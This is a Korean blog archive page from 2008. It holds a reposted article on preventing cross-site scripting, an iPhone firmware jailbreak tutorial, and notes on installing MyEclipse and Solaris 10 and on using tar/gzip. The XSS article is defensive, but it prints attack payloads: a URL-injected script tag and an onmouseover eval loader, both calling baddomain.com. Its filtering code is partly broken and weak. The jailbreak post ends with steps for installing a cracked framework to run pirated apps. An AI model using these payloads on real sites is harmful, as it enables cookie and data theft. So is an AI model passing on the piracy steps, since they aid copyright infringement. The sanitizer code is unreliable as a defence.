xss

자바스크립트(JavaScript) 단에서 1차 막고

서버(JSP) 단에서 2차로 막아주는군요.

 

Preventing Cross Site Scripting Attacks

Cross site scripting (XSS) is basically using JavaScript to executeJavaScript from an unwanted domain in a page. Such scripts could exposeany data in a page that is accessible by JavaScript including, cookies,form data, or content to a 3rd party. Here is how you can prevent yourweb pages from being exploited on both the client and the server. Thisis followed with tips on how to avoid vulnerable sites.

  • Escape parameters and User Input- The safest step you can take is to escape all parameters to a pagewhere the parameters are displayed in the content.The same applies forany user input that may be displayed or re-displayed in a web pagerendered by a server. The downside is that your users can not providemarkup.
  • Remove eval(), javascript, and script from User Provided Markup - If you allow users to provide markup in any part of your application that is displayed in a page make sure to remove eval() and javascript: calls from element attributes including styles as they can be used to execute JavaScript. Also remove script blocks.
  • Filter User Input on the Server- You should always filter user input that is stored or processed on aserver because URLs and GET/POST requests can be created manually.
  • Use Caution with Dynamic Script Injection- Be careful when dynamically injecting external scripts to retrieveJSON based data as you are potentially exposing everything accessibleby JavaScript.
  • Avoid XSS Phishing Attacks - Be aware of sites that contain vulnerabilities and phishing style attacks containing external script references.

Escape Parameters and User Input

This is the classic XSS attack that can open your service or webapplication up to hackers. By design the site displays a user's id thatis passed in as a URL parameter. The following script will take the idand display a welcome message.

<script type="text/javascript">
var start = window.location.href.indexOf("id");
var stop = window.location.href.length;
var id = "guest";
if (start < stop) {
id = decodeURIComponent(window.location.href.substring(start,stop));
}
document.write("Hi " + id);
</script>

A request to the URL index.html?id=greg (assuming the page containing the script is index.html) will result in:

Hi greg

What would happen if instead of "greg" I used the following URL:

index.html?id=%3Cscript%20src=%22http://baddomain.com/badscript.js%22%3E%3C/script%3E

Notice the URL above contains a link to script http://baddomain.com/badscript.jswhich contains malicious code from a different domain. This script willbe evaluated when the page is loaded putting the page and all the datain it at risk.

To prevent from these types of attacks your client code shouldalways escape "<" and ">" parameters that are displayed orevaluated by JavaScript code.

You can do this with a simple line of code as can be seen in the next example.

<script type="text/javascript">
var start = window.location.href.indexOf("id");
var stop = window.location.href.length;
var id = "guest";
if (start < stop) {
id = decodeURIComponent(window.location.href.substring(start,stop));
< span>
}
document.write("hi " + id);
</script>

Consider the following containing a form where a user enters a description that will be visible to other users.

<html>
<head>
<script type="text/javascript">
function displayName() {
var description = document.getElementById("description").value;
var display = document.getElementById("display");
display.innerHTML = description;
}
</script>
</head>
<body>
<form onsubmit="displayName();return false;">
<textarea id="description" type="text" cols="55" rows="5"></textarea>
<input type="submit" value="Show Description">
</form>
<div id="display"></div>
</body>
</html>

Seems innocent enough right? Try including the following content in the text area.

<aonmouseover="eval('s=document.createElement(\'script\');document.body.appendChild(s); s.src=\'badscript.js\'')">Mouse OverMe</a>

A mouseover of the link will cause a script in a badscript.jsto be loaded. This script could also pass along cookies or any otherinformation it wanted to as parameters of the "s.src" URL. Unlike thefirst example where the user would need to click on a bad link thistype of attack requires a simple mouseover to load the badscript.js.

So the question now comes to mind: 'How do you protect your web page from being being exploited?'

Alongwith the parameters you should escape form input. If you plan to allowusers to provide their own markup consider the next solution titled Remove eval(), javascript, and script from User Provided Markup.

The following code shows how to escape markup on the client.

<html>
<head>
<script type="text/javascript">
function displayName() {
var description = document.getElementById("description").value;
var display = document.getElementById("display");
description = description .replace(//g, ">");
display.innerHTML = description;
}
</script>
</head>
<body>
<form onsubmit="displayName();return false;">
<textarea id="description" type="text" cols="55" rows="5"></textarea>
<input type="submit" value="Show Description">
</form>
<div id="display"></div>
</body>
</html>

The code description = description.replace(//g, ">"); filters the user input and prevents unwanted scripts from being executed.

Now that we have looked at how to prevent most attacks the nextsection focuses on cases where you want to allow users to providemarkup that does not contain malicious code.

Remove eval(), javascript:, and script from User Provided Markup

There may be cases where you want to allow a user to add markup suchas links or HTML content that is displayed for other users to see.Consider a blog that allows for HTML markup, user provided URLs, HTMLcomments, or any other markup. The solution would be to filter allmarkup before it is displayed in a page or before it is sent to aserver or service. The following example shows how to allow for someHTML markup while preventing malicious code.

<html>
<head>
<script type="text/javascript">
function displayName() {
var description = document.getElementById("description").value;
var display = document.getElementById("display");
description.replace(/[\"\'][\s]*javascript:(.*)[\"\']/g, "\"\"");
description = description.replace(/script(.*)/g, "");
description = description.replace(/eval\((.*)\)/g, "");
display.innerHTML = description;
}
</script>
</head>
<body>
<form onsubmit="displayName();return false;">
<textarea id="description" type="text" cols="55" rows="5"></textarea>
<input type="submit" value="Show Description">
</form>
<div id="display"></div>
</body>
</html>

The example above removes all eval(), javascript and scriptreferences that may be entered in the description field. Thereplacement here is not a perfect as it may replace legitimate uses ofthe words javascript and script in the body of a document. You mayconsider refining the regular expressions to only look in tagattributes for example and to remove full scripts. There are otherconsiderations you should keep in mind when filtering client code suchas line breaks, charsets, case sensitivity which are commonly exploitedin attacks. As some browsers will allow you to specify JavaScript callsfrom CSS styles you should also consider searching user provided CSSstyles as well.

Filter User Input on the Server

Most of the problems related to cross site scripting are because ofpoorly designed clients. Servers can also unwillingly becomeparticipants in cross domain scripting attacks if they redisplayunfiltered user input. Consider the following example where a hackermanually makes a HTTP POST request to set the homepage URL with thefollowing.

<a href="javascipt:eval('alert(\'bad\')');">Click Me</a>

The URL would end up being stored as is on the server as is andexpose any user that clicks on the URL to the JavaScript. The exampleabove seems innocent enough but consider what would happen if in placeof an alert('bad') the "javascript" contained malicious code. Toprevent such attacks you should filter user input on the server. Thefollowing Java example shows how to use regular expression replacementto filter user input.

String description = request.getParameter("description");
description = description.replaceAll("<", "&lt;").replaceAll(">", "&gt;");
description = description.replaceAll("eval\\((.*)\\)", "");
description = description.replaceAll("[\\\"\\\'][\\s]*javascript:(.*)[\\\"\\\']", "\"\"");
description = description.replaceAll("script", "");

The code above removes eval() calls, javascript: calls, and scriptreferences the replacement here is not a perfect as it may replacelegitimate uses of the words javascript and script in the body of adocument. The code above may be applied using a servlet, servletfilter, or JSF component on all input parameters or on a per parameterbasis depending on what how much markup you would like to allow usersto provide. You may want refine the regular expressions that filter thecontent to handle more or consider a Java library built thatspecializes in removing malicious code.

Use Caution with Dynamic Script Injection

Dynamic script injection to retrieve JSON data (also known as JSONP)can be powerful and useful as it decouples your client from the serverof origin. There is still a bit of debate over using JSONP as someconsider it as a hack or security hole in JavaScript because when youdynamically include a reference to a 3rd party script you are givingthat script full access to everything in your page. That script couldgo on to inject other scripts or do pretty much whatever it wanted.

If you choose to use JSONP make sure you trust the site for whichyou are interacting with. There is nothing stopping a JSONP providerfrom including unwanted script with JSONP data. One alternative wouldbe to provide a proxy service which you can control the output, restrict access to, and can cache as needed.

Avoid XSS Phishing Attacks

This next recommendation focuses on protecting yourself as a userfrom a site that is vulnerable to cross site scripting attacks.

Phishing attacks, or attacks where what appears to be a valid URLlinks to a fraudulent web page who's purpose is to collect a usersdata, are nothing new to the web world. A related attack involves crosssite scripting attacks where a URL to a legitimate site that has across site scripting vulnerability contains a script reference. Such alink may appear in an email message, blog posting/comment, or otheruser generated content that contains a URL. Clicking a link to a sitecontaining a cross site scripting vulnerability would cause a 3rd partyscript to be included along with your request and could expose yourpassword, user id, or any other data. Consider the following example:

<ahref="http://foobar.com/index.html?id=%3Cscript%20src=%22http://baddomain.com/badscript.js%22%3E%3C/script%3E">Seefoobar</a>

A quick look at the URL shows it references the site http://foobar.com/index.html. An unsuspecting user may not see the script included as a parameter later in the URL.

It is also wise to always look at carefully at URLs and the URLparameters that are provided with them. URLs will always appear in thestatus bar of your browser as and you should always look for externalscript reference. Another solution would be to manually type in linksinto the URL bar of your browser if a link is suspect.

Be aware of sites known to have vulnerabilities and be very careful with any personal data you provide those sites.

While JavaScript based interfaces can be very flexible you need tobe very careful with all user provided input whether it be asparameters or form data. Always make sure to escape or filter input onthe both the client and server. As a user you should be cautious not tobecome a victim of a vulnerable site. It's better to be safe than inthe news!

What other things do you do to prevent XSS attacks?

 

 

자료 출처: http://weblogs.java.net/blog/gmurray71/archive/2006/09/preventing_cros.html

by 블라블라 | 2008/12/31 08:39 | :::::거침없이 테크닉::::: | 트랙백 | 덧글(0)

myeclipse 설치 - 우분투

Myeclipse7.0 설치법.


Myeclipseinside.com에서 myclipse 7.0 을다운로드 받는다.


$ sudomv my* /home/ant103/

이동한 디렉토리에서

tar xvzfmy* 로 푼다.

이때 파일 병의 길이가 길므로

$ ln -s/home/ant103/myeclipse-7.0.0.1-linux-gtk-x86 /home/ant103/myeclipse

로 변경 하고 이동한다.

$./myeclipse-70-installer

로 인스톨을 진행한다.

마법사가 실행되면서 설치를계속한다.

by 블라블라 | 2008/12/20 04:29 | :::::거침없이 테크닉::::: | 트랙백 | 덧글(0)

gzip

<< 압축하기 >>
* tar 와 gzip 따로 하기
# tar cvf file_name.tar *.c
# gzip file_name.tar


* tar 와 gzip 동시에
# tar cvfp - target_dir | gzip -c > made_file.tar.gz

// target_dir = 압축할 파일들이 들어 있는 디렉토리

 // made_file  = 만들어질 압축파일의 이름.


<< 압축풀기 >>
* tar 와 gzip 따로 하기
# gzip -d file_name.tar.gz
# tar -xvf file_name.tar


* tar 와 gzip 동시에
# gzip -dc source_file.tar.gz | tar xvfp


* tar 와 gzip 동시에 풀면서 다른 디렉토리에 풀리게 지정

#gzip -dc source_file.tar.gz | tar xvfp - -C target_dir

by 블라블라 | 2008/12/12 21:38 | :::::거침없이 테크닉::::: | 트랙백 | 덧글(0)

Quickpwn 22-1 을 이용한 2.2 펌웨어 해킹(for iPhone and iPod touch)

Quickpwn 22-1 을 이용한 2.2 펌웨어 해킹(for iPhone and iPod touch) quickpwn

2008/11/23 13:50

복사 http://blog.naver.com/leop/30038409886

준비물

1. quickpwn2.2 윈도우용 버전(mac 사용자들은 mac용을 받으셔야 합니다^^:)

다운로드 -  클릭

 







2.  2.2 펌웨어의 아이팟 터치
다운로드 - http://blog.naver.com/charian/100057481339

                http://www.felixbruns.de/iPod/firmware/




3. 아이튠즈 8
다운로드 -
클릭




4. 2.2 펌웨어

아이튠즈를 통해 펌웨어를 다운받으신 분들은 따로 다운로드 필요 없습니다.

    ( C드라이브의 my document and settings 폴더 -> 자신의 윈도우 계정이름 폴더 -> Application Data(숨김 설정 되어있습니다) -> Apple Computer -> iTunes -> iPod software updates   에 다운받은 펌웨어가 저장되어 있을것입니다 ^^)


1.1.x 버전에서 2.2 로 오시는분은 위(준비물 2번 참조)의 다운로드 링크에서 다운받아주세요





----------------------------------------------------------------------

1. 아이튠즈를 이용해서 순정상태로 복원합니다^^
    ㄴ복원은 한번 해주고 해야 좀더 안정적으로 터치 해킹 됩니다.
 

( Shift + 복원을 누르고 위의 링크에서 다운받은 2.2 펌웨어를 입힙니다)













2. 순정상태로 복원되었는지 터치를 확인합니다 ^^


(이렇게 있어야 제대로 된 화면입니다^^)




3. itunes를 우선 꺼 놓고 다운받은 quickpwn을 실행시킵니다.
   ㄴ quickpwn의 경로중 한글이 들어가지 않은 곳에 저장하는게 좋습니다.(ex. C 드라이브)
  
p.s 저는 한글이 들어간 곳에서도 잘 되더군요 하핫;;







4. 처음 실행화면입니다^^ 터치를 usb에 연결합니다.









5. 아까 다운받은 2.2 펌웨어를 Browse를 누르고 찾아줍니다.(아이튠즈로 업글한경우 자동으로 찾습니다)












6. 자기가 원하는 터치 해킹의 셋팅을 해줍니다.
  
ㄴ 인스톨러, Cydia 두개다 선택하는걸 추천합니다.













7. 다시한번 usb에 연결된걸 확인하고 다음을 누릅니다.


















8. 여기가 조금 까다로운 곳입니다..
    초간단 팁을 설명하지요.
   
 


(1) 우선 터치가
자동으로 복원모드에 들어가길 기다립니다.

(2) 홈버튼과 슬립버튼을 동시에 누르고 터치가 꺼지기를 기다립니다.

(3)
DFU 모드로 진입합니다. (설명 링크 클릭)

    ㄴ DFU모드 들어가는법

       홈버튼 + 슬립버튼을 동시에 누르고 10초를 센다.

       슬립버튼에서 손을 때고 usb가 인식되며 딩동 하는 소리가 날때까지 기다린다.

       화면은 검정색이여야 합니다.

     

(4) DFU로 잘못들어갔을시 오류가 뜨면서 다시 하라고 뜹니다. 그러면 경고창을 닫고 다시하시면 됩니다.




   성공했을 경우 아래 화면처럼 완벽하게 됩니다.
   그냥 기다리시면 됩니다.  

(이 과정이 끝나면 터치의 화면에  Downloading Jailbreak Date 와 Flashing Nor 라는 글씨가 나옵니다.. 그냥 그렇다구요.)







(마지막 화면, 성공한 사진.)





짝짝짝! 축하드려요 ^^
해킹에 성공했습니다..

 

 


--------------------------------------------------------------------------

 
 
자 이제 여기서부터는 기본적인 안정화 과정에 대한 강좌입니다 ^^
 
 
--------------------------------------------------------------------------
 
 
 
해킹이 끝나고 바로 시작하세요 ^^
 
 
 






1. 설정에 들어갑니다.





2. WIfi 로 들어가서 무선랜을 잡습니다.






3. 다시 설정으로 돌아와서 일반으로 들어갑니다.





4. 자동잠금으로 들어가 해재를 눌러줍니다.





5. 지금까지 다 확실히 되었으면 홈버튼을 누르고 나와 Cydia를 눌러줍니다.
    그럼 검정색 화면이 뜨고 기초적인 안정화는 끝납니다.






6. Cydia 에서 작업이 끝나고(대략 2분 소요) 터치가 다시 락 화면으로 돌아왔으면 다시 Cydia로 들어가 줍니다.
    질문창이 뜨면 자기의 직업을 선택합니다. User 가 가장 일반적입니다.







7. Cydia로 접속이 되고 잠시 기다리면 위의 검정 박스가 사라집니다.







8. 하단의 Sections 를 누르고 All Packages 로 들어갑니다.





9. Open SSH 를 찾습니다. (옆의 조그만 알파벳 바를 사용하면 편리합니다.)




10. Open SSH를 다운받습니다.







자 안정화가 끝났습니다 ^^;;




---------------------------------------------------------------------

여기서부턴 크랙어플을 사용하실분만 하세요 ^^

--------------------------------------------------------------------------






준비물


크랙된 모바일 인스털레이션 (다운로드 - click)

winscp (다운로드 및 사용법 - click)


--------------------------------------

1. 다운받은 winscp로 

/System/Library/PrivateFrameworks/MobileInstallation.framework/
  
로 들어갑니다.




2. 위에서 다운받은 크랙된 모바일 인스털레이션(mobile installation)을 입힙니다. 붙여넣습니다.


3. wifi를 잡아 무료 어플을 appstore에서 하나 다운받습니다(터치내에서)


4. 다운받은 크랙어플을 ituens보관함에 추가후.. 노래를 동기화 시키듯이 동기화 시킵니다...
   ㄴ 크랙어플 다운받는곳 (링크 - 클릭)

5. enjoy


강좌 마치도록 하겠습니다 ^^



---------------------------------------------------------

2.2 해킹이 의외로 빨리 나왔습니다..

귀찮은 관계로 저번강좌와 똑같은 사진을 많이 썼네요 ^^;;

그래도 이상은 없습니다 ㅎㅎ..

by 블라블라 | 2008/12/12 13:38 | :::::매일매일 관심사::::: | 트랙백 | 덧글(1)

솔라리스 10

이번엔 Solaris install을 하도록하겠습니다.
현재 환경에 x86에 free Solaris cd v1~5, rag cd 1, Solaris UI는 text로 하겠습니다.
물론 선택은 desktop이 되겠습니다.

일단 solaris cd 1번을 넣게 되면 다음과 하면과 만나실 수 있을겁니다.
여기서는 별달리 설정 옵션을 바꿀 필요가 없다고 생각하고 바로 Solaris 메뉴로 들어가도록 하겠습니다.

사용자 삽입 이미지

아래와 같은 화면과 만나게 되실겁니다.
여기서는 설치시 어떤 환경에서 설치하느냐는 건데 위에 2개는 UI가 그래픽으로 구성되어 있고
3번과 4번은 텍스트로 구성되어 있습니다.
5번은 드라이버 업데이트라고 적혀 있는 디바어스가 틀린 제품이 있다면 5번을 선택해서 세세하게 들어가시면 되겠습니다.
6번은 대부분 서버 기계가 모니터 없이 오는 경우가 많은데 이 때 노트북과 연결해서 작업하는걸 많이 합니다. 이 때 사용하는 메뉴가 6번이 되겠습니다.
(설명 중 잘못된 게 있으면 지적 바랍니다.)

여기서 Enter키를 한 번 누르신 뒤 3번을 메뉴를 선택하겠습니다.

사용자 삽입 이미지
다음 같이 CD안의 부트를 읽어 선택한 UI을 구성하고 있습니다.
사용자 삽입 이미지

다음과 같은 화면이 나오실겁니다.
기본적으로 키보드 레이아웃 설정은 US-English으로 되어 있습니다.
하지만, 리눅스와 마찬가지로 모든 설정은 설치 후에 90% 정도까지는 기존의 설정을 엎을 수 있습니다.
사용자 삽입 이미지

자, 이제 방향키를 올려 Korea을 선택하도록 합시자.
선택시에는 spacebar, Enter을 선택하시면 되겠습니다.
그리고 F2키을 눌러주시길 바랍니다.

사용자 삽입 이미지

F2키를 눌러 다음 화면으로 이동합니다.
아래와 같은 화면이 나오면 그대로 enter

사용자 삽입 이미지

그러면 아래와 같은 화면이 나올것고 여기서도 Enter
(아 맞다 VMWare 설치시 아래 화면 바로 위에 마우스가 위치해 있어야 키보드가 먹힙니다. 엄한데 두고는 안 먹힌다고 하시면 곤란해요.)

사용자 삽입 이미지

Enter을 바로 누르시지 않으시면 아래와 같은 화면에서 작업하시게 될겁니다.
사용자 삽입 이미지

지금 저는 바로 윗 단계에서 Enter을 누른 아래와 같은 화면에서 작업을 하도록 하겠습니다.
위에도 그리 나쁜건 아니지만 이쁜게 좋잖아요 ㅇ_ㅇㅋ

아무튼 위나 아래나 설치시 무슨 언어을 쓸 것인가에 대한 질의입니다.
아무튼 아래에서 5번 키를 입력 후, Enter을 눌러주세요
사용자 삽입 이미지

자, 이제 노가다가 시작되었다는 느낌이 풀풀 나는 경고문 비슷한 내용이 아래에 적혀 있습니다.
navigation 정보를 보니, 마우스를 사용할 수 없음. 이라는데... 처음부터 CUI을 선택해서 당연히 없는겁니다.
키보드에 기능키가 없어사 응답이 없다면 ESC을 누르라고 하는데... 표준 키보드 방식으로 채택된 키보드라면 아래것은 그렇게 신경 쓸 필요없답니다. 그외에 키보드는 navigation의 도움을 받으셔야 됩니다.

해당사항이 없다고 여기고 F2키를 누르도록 하겠습니다.

사용자 삽입 이미지

읽어보면 대충 아는 내용입니다.
그냥 F2을 누르시길 바랍니다.

사용자 삽입 이미지

이제부터 제일 중요한 네트워크입니다.
NIC에 연결되어 있으면 예를 선택하시면 됩니다.
물론 인터넷에서 지금 이 글을 읽고 계신다면 당연히 '예'를 선택하시면 됩니다.

사용자 삽입 이미지

자 다음과 같은 화면에 마주 쳤을겁니다.
이것은 서버가 DHCP라는 방식을 채택해서. 자동으로 IP 어드레스를 할당하는 방법입니다.
이것은 관리자가 일일이 IP 어드레스를 할당하지 못할때 구성하는 겁니다.
소규모 네트워크라면 차라리 DHCP을 사용하지 않는게 보안상 더 좋습니다.

일단 우리는 Solaris 해부를 하기 위해서 설치를 한다고 가정했기 때문에
DHCP을 사용하지 않는 것에 선택하고 F2키를 누르도록 하겠습니다.

사용자 삽입 이미지

호스트 이름은 windows에서 비교하면 network 환경에서 나오는 각 컴퓨터의 이름과 비슷한 역할을 하게 됩니다.
즉, 여러개의 호스트 및 서버를 설치하게 되었다고 가정한다면 그것을 쉽게 구별할 문구정도로 알아주시면 되겠습니다.

전 Solaris201으로 잡겠습니다.

사용자 삽입 이미지

IP을 입력하라고 하라는 문구가 눈에 들어올겁니다.
자, windows에서 vmware을 택하신 분은 windows Key + R을 누릅니다.

사용자 삽입 이미지

그리고 cmd을 친 후 Enter
그 후 ipconpig를 칩니다.
이제부터 제가 빨강색으로 표시한 부분을 순서대로 적으시면 됩니다.
사용자 삽입 이미지

지금 하는 것은 서브넷을 포함하기 때문에서 예로 선택할겁니다.
서브넷에 대한 자세한 내용은 차후에 올리 서브넷 기초에서 설명하도록 하겠습니다.

사용자 삽입 이미지

넘기면 다음과 같은 화면이 나오게 됩니다.
방금 전에 ipconpig에서 나온 넷 마스크 주소를 적으시면 됩니다.

사용자 삽입 이미지

IPv6을 사용할 것이냐? 라는 질문이 나올겁니다.
이 질문은 IPv6 규약과 IPv4 규약을 둘 다 사용할 것인지에 대한 질의입니다.
저희는 IPv4에서 IPv6으로 설치 후 바꾸는 방법을 쓸 예정이므로 아니오에 체크를 하도록 합니다.

사용자 삽입 이미지

그리고 F2키를 누르게되면 잠시만 기다려주십시오. 하고 약 30초 동안 기다리게 됩니다.
기본 경로 설정을 할 것인가 하지만..
서브넷에 라우터가 없다고 가정하에 저는 없음 택할겁니다.
나중에 이 부분에 대해서는 얼마든지 설정이 가능하게 때문입니다.


사용자 삽입 이미지

F2을 누르게되면 다음과 같은 정보가 뜨게 됩니다.
설정에 이상이 없는지 확인해보고 이상이 있다면 F4키 없다면 F2키를 누르면 됩니다.

사용자 삽입 이미지

커버로스 보안 체계를 쓸 것인가 묻는 내용입니다.
커버로스(케베로스 : 지옥의 문을 지키는 머리 3개 달린 똥개)은 인증하고자하는 사용자에게 암호화된 티켓을 요구할 수 있도록 규약을 잡은것입니다.
 이것으로 해당 네트워크 접근자의 권한을 확인하는 방식인데 MIT나 사용된 버전으로 다운로드해서 응용해서 사용할 수 있다고 합니다. (전 아직 안 써봐서 이쪽으로는 잘 모르겠습니다.)

여기에서는 아니오에 체크하도록 합니다.

사용자 삽입 이미지


계속을 누르면 다음과 같이 뜹니다.
문제점이 있다면 F4, 없다면 F2키를 누릅니다.

만약 이 솔라리스 설치 과정에서 해당 IP 주소에 해당되는 네트워크 인터페이스는 손상되었습니다.
return을 눌러 되돌아가십시오. 라고 한다면

다시 reboot 버튼을 눌러서 재 설치 과정으로 돌아가서 DHCP 사용에 체크해주면 됩니다.
이 현상은 고시원이나 원룸, 기숙사에서 사용했을 때 생기는 문제인데. IP 공유기가 있고 그 IP공유기 설정에 문제가 있기 때문이라고 할 수 있습니다.

저도 아직은 정확한 문제 해결점을 찾아보지는 않했지만, 해결점을 찾으면 해당 블러그 글을 수정해서 올려줄 생각입니다. ( IP 어드레스을 어떤걸로 하느냐에 따라 틀려질 듯이라고 일단 생각하고 있습니다.)

사용자 삽입 이미지

여기서 이름 서비스를 선택하라고 한다.
우리는 여기서 None으로 선택한다. 추후에 필요판단 여부에 따라 재 설정할 예정이다.

사용자 삽입 이미지

이 화면이 나오기 전까지 별달리 수정할 사항이 없으므로 F2를 누른다.
여기서는 아시아에 체크하고 F2를 누른다.
사용자 삽입 이미지

여기선 대한민국에 선택하고 F2를 누른다.

사용자 삽입 이미지

이 화면에서는 root 패스워드 지정을 하는데
root 패스워드 1회 입력 후 enter로 넘겨 root 패스워드를 위에것과 일치해서 입력시키면 된다.
그리고 F2키를 누른다.

사용자 삽입 이미지

F2를 한 번 더 누르면 다음과 같은 화면이 뜨는데
원격 서비스를 활성화 시킬지에 대한 질의이다.
여기서 우리는 No를 선택한다. 이것도 추후 설정이 가능하기 때문이다.

사용자 삽입 이미지

여기서 질의 내용은 기본으로 설치할 것인지, 플래시(windows 비교하자면 리커버리 기능)으로 설치할 것인지에 대한 질문이다.
우리는 기본으로 설치한다. F2를 누르면 된다.

사용자 삽입 이미지

CD 자동 배출 여부인데. 우리는 VMware 사용자는 수동 배출로 맞추면 된다.
그게 아니라 아예 까는거라면 자동 배출로 맞추면 된다.

사용자 삽입 이미지

아래 화면에서는 자동 재부트로 맞추자. 그게 편하다. (그러고보니 왜 반말투로 바뀌었을까요?)

사용자 삽입 이미지

아래와 메세지가 나온다면 상큼하게 F2키를 누르시면 됩니다.

사용자 삽입 이미지

다음 같은 화면에서 방향키를 움직이면 이동된다는 것을 알수 있다.
아시아로 가서 스페이스바를 누르도록 한다.

사용자 삽입 이미지

여기서 화살표 내리다보면 한국어 EUC와 UTF-8이 있다. 둘 다 체크 한 뒤 F2키를 누른다.

사용자 삽입 이미지

여기서는 아래와 같은 설정으로 F2를 누르면 된다.

사용자 삽입 이미지

아래에서 다음과 설정한다.
사용자 삽입 이미지

다음에서는 아래와 같이 설정하면 된다.
하지만 개인 성향에 맞추려면 사용자 정의로 하면 된다.

사용자 삽입 이미지

F4키를 누른다.
사용자 삽입 이미지


VMware 사용자는 NFS 논리영역 위에 유닉스 논리영역을 올리기 때문에 파일디스크 분할영역 선택 후 F2키를 누른다.
일반 디스켓 이용자에다가 물리 디스크 및 논리디스크가 나눠져 있다면 부트디스크를 선택 후 F2키를 누른다.

사용자 삽입 이미지

난, VMware 설치이기 때문에 파일디스크 분할을 따라 적는다.
부트디스크는 부트디스크를 어디로 할지만 지정해주면 되기 때문에 이후 괒어은 아래와 똑같다.
여기서 F4를 누른다.

사용자 삽입 이미지

최대 분할영역이 선택되는데 이대로 F2를 누르면 된다.

사용자 삽입 이미지

아래와 같이 사용가능한 공간이 잡히면 F2를 누른다.

사용자 삽입 이미지

자동 레이아웃을 사용하려면 F2를 아니면 F4를 누르면 된다.

사용자 삽입 이미지

다음 화면에서 F4를 누른다.

사용자 삽입 이미지

아래와 같이 설정하면 된다.
일단 '/'을 제외한 것부터 맞추는데
/swap 1024 mb
/data1, /data2, /data3, /data4은 각 500mb
/export/home 1280 mb
으로 맞추면 된다.
그리고 마지막으로 /은 사용가능한 공간을 보면 그대로 치면 된다. 절대 사용가능한용량이 아니라 사용가능한 공간이다.

사용자 삽입 이미지

그리고 F2를 막 갈기면 다음과 같은 화면이 뜰거다.
그러면 일단 기본 세팅은 완료 된것이다.
사용자 삽입 이미지

재부팅 후 본격적으로 설치 될텐데 이 때는 별달리 해야할 것은 없고 CD 교체 작업만 해주면 됩니다.
수고하셨습니다. ^^

만쉐~ 해방이다~ 크아~

by 블라블라 | 2008/12/08 08:57 | :::::거침없이 테크닉::::: | 트랙백 | 덧글(0)

◀ 이전 페이지          다음 페이지 ▶